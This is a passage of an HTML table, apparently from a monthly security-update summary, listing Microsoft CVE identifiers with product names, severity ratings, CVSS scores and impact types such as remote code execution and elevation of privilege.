  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42826"><span>CVE-2026-42826</span></a></td>
  <td width="256" class="xl73">Azure DevOps
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">10</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32207"><span>CVE-2026-32207</span></a></td>
  <td width="256" class="xl73">Azure Machine Learning
  Notebook Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33109"><span>CVE-2026-33109</span></a></td>
  <td width="256" class="xl73">Azure Managed Instance
  for Apache Cassandra Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33844"><span>CVE-2026-33844</span></a></td>
  <td width="256" class="xl73">Azure Managed Instance
  for Apache Cassandra Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41105"><span>CVE-2026-41105</span></a></td>
  <td width="256" class="xl73">Azure Monitor Action
  Group Notification System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33111"><span>CVE-2026-33111</span></a></td>
  <td width="256" class="xl73">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26129"><span>CVE-2026-26129</span></a></td>
  <td width="256" class="xl73">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26164"><span>CVE-2026-26164</span></a></td>
  <td width="256" class="xl73">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33821"><span>CVE-2026-33821</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  Customer Insights Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898"><span>CVE-2026-42898</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  On-Premises Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40379"><span>CVE-2026-40379</span></a></td>
  <td width="256" class="xl73">Microsoft Enterprise
  Security Token Service (ESTS) Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40363"><span>CVE-2026-40363</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40358"><span>CVE-2026-40358</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34327"><span>CVE-2026-34327</span></a></td>
  <td width="256" class="xl73">Microsoft Partner
  Center Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40365"><span>CVE-2026-40365</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41103"><span>CVE-2026-41103</span></a></td>
  <td width="256" class="xl73">Microsoft SSO Plugin
  for Jira &amp; Confluence Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33823"><span>CVE-2026-33823</span></a></td>
  <td width="256" class="xl73">Microsoft Team Events
  Portal Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40364"><span>CVE-2026-40364</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40366"><span>CVE-2026-40366</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40361"><span>CVE-2026-40361</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40367"><span>CVE-2026-40367</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42831"><span>CVE-2026-42831</span></a></td>
  <td width="256" class="xl73">Office for Android
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096"><span>CVE-2026-41096</span></a></td>
  <td width="256" class="xl73">Windows DNS Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35421"><span>CVE-2026-35421</span></a></td>
  <td width="256" class="xl73">Windows GDI Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="71">
  <td class="xl67" height="71"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40403"><span>CVE-2026-40403</span></a></td>
  <td width="256" class="xl73">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40402"><span>CVE-2026-40402</span></a></td>
  <td width="256" class="xl73">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32161"><span>CVE-2026-32161</span></a></td>
  <td width="256" class="xl73">Windows Native WiFi
  Miniport Driver Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089"><span>CVE-2026-41089</span></a></td>
  <td width="256" class="xl73">Windows Netlogon
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32175"><span>CVE-2026-32175</span></a></td>
  <td width="256" class="xl73">.NET Core Tampering
  Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32177"><span>CVE-2026-32177</span></a></td>
  <td width="256" class="xl73">.NET Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35433"><span>CVE-2026-35433</span></a></td>
  <td width="256" class="xl73">.NET Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54518"><span>CVE-2025-54518 *</span></a></td>
  <td width="256" class="xl73">AMD: CVE-2025-54518
  CPU OP Cache Corruption</td>
  <td class="xl70">Important</td>
  <td class="xl69"></td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42899"><span>CVE-2026-42899</span></a></td>
  <td width="256" class="xl73">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40381"><span>CVE-2026-40381</span></a></td>
  <td width="256" class="xl73">Azure Connected
  Machine Agent Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42823"><span>CVE-2026-42823 †</span></a></td>
  <td width="256" class="xl73">Azure Logic Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33833"><span>CVE-2026-33833</span></a></td>
  <td width="256" class="xl73">Azure Machine Learning
  Notebook Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32204"><span>CVE-2026-32204</span></a></td>
  <td width="256" class="xl73">Azure Monitor Agent
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42830"><span>CVE-2026-42830</span></a></td>
  <td width="256" class="xl73">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33117"><span>CVE-2026-33117</span></a></td>
  <td width="256" class="xl73">Azure SDK for Java
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl73">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35424"><span>CVE-2026-35424</span></a></td>
  <td width="256" class="xl73">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41614"><span>CVE-2026-41614</span></a></td>
  <td width="256" class="xl73">M365 Copilot for
  Desktop Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41100"><span>CVE-2026-41100</span></a></td>
  <td width="256" class="xl73">Microsoft 365 Copilot
  for Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40377"><span>CVE-2026-40377</span></a></td>
  <td width="256" class="xl73">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41094"><span>CVE-2026-41094</span></a></td>
  <td width="256" class="xl73">Microsoft Data
  Formulator Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40417"><span>CVE-2026-40417</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  Business Central Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42833"><span>CVE-2026-42833</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  On-Premises Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42838"><span>CVE-2026-42838</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40360"><span>CVE-2026-40360</span></a></td>
  <td width="256" class="xl73">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40359"><span>CVE-2026-40359</span></a></td>
  <td width="256" class="xl73">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40362"><span>CVE-2026-40362</span></a></td>
  <td width="256" class="xl73">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42832"><span>CVE-2026-42832</span></a></td>
  <td width="256" class="xl73">Microsoft Excel
  Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34329"><span>CVE-2026-34329</span></a></td>
  <td width="256" class="xl73">Microsoft Message
  Queuing (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40419"><span>CVE-2026-40419</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40418"><span>CVE-2026-40418</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35436"><span>CVE-2026-35436</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40420"><span>CVE-2026-40420</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42893"><span>CVE-2026-42893</span></a></td>
  <td width="256" class="xl73">Microsoft Outlook for
  iOS Tampering Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40374"><span>CVE-2026-40374</span></a></td>
  <td width="256" class="xl73">Microsoft Power
  Automate Desktop Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41102"><span>CVE-2026-41102</span></a></td>
  <td width="256" class="xl73">Microsoft PowerPoint
  for Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35439"><span>CVE-2026-35439</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40368"><span>CVE-2026-40368</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33110"><span>CVE-2026-33110</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33112"><span>CVE-2026-33112</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40357"><span>CVE-2026-40357</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32185"><span>CVE-2026-32185</span></a></td>
  <td width="256" class="xl73">Microsoft Teams
  Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41101"><span>CVE-2026-41101</span></a></td>
  <td width="256" class="xl73">Microsoft Word for
  Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35440"><span>CVE-2026-35440</span></a></td>
  <td width="256" class="xl73">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40421"><span>CVE-2026-40421</span></a></td>
  <td width="256" class="xl73">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41097"><span>CVE-2026-41097</span></a></td>
  <td width="256" class="xl73">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40370"><span>CVE-2026-40370 †</span></a></td>
  <td width="256" class="xl73">SQL Server Remote Code
  Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41613"><span>CVE-2026-41613</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41612"><span>CVE-2026-41612</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
